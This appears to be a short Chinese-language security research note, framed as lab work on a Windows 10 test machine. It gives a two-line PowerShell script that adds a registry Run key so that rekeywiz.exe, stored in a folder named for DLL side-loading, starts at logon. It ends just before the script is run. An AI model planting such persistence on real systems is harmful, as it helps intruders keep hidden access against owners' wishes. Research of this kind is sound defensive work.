返回首页
EN
H7 / SECURITY RESEARCH NOTES

使用powershell脚本添加注册表开机启动项实现持久化

环境说明

IPHOSTNAMENOTE
N/AWin10测试机

相关脚本

内容下载
PowershellScript

powershell脚本如下:

$white_file_path = "E:\TempProjects\dll_side_load\rekeywiz.exe"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "rekeywiz.exe" -Value $white_file_path

运行脚本添加开机启动项: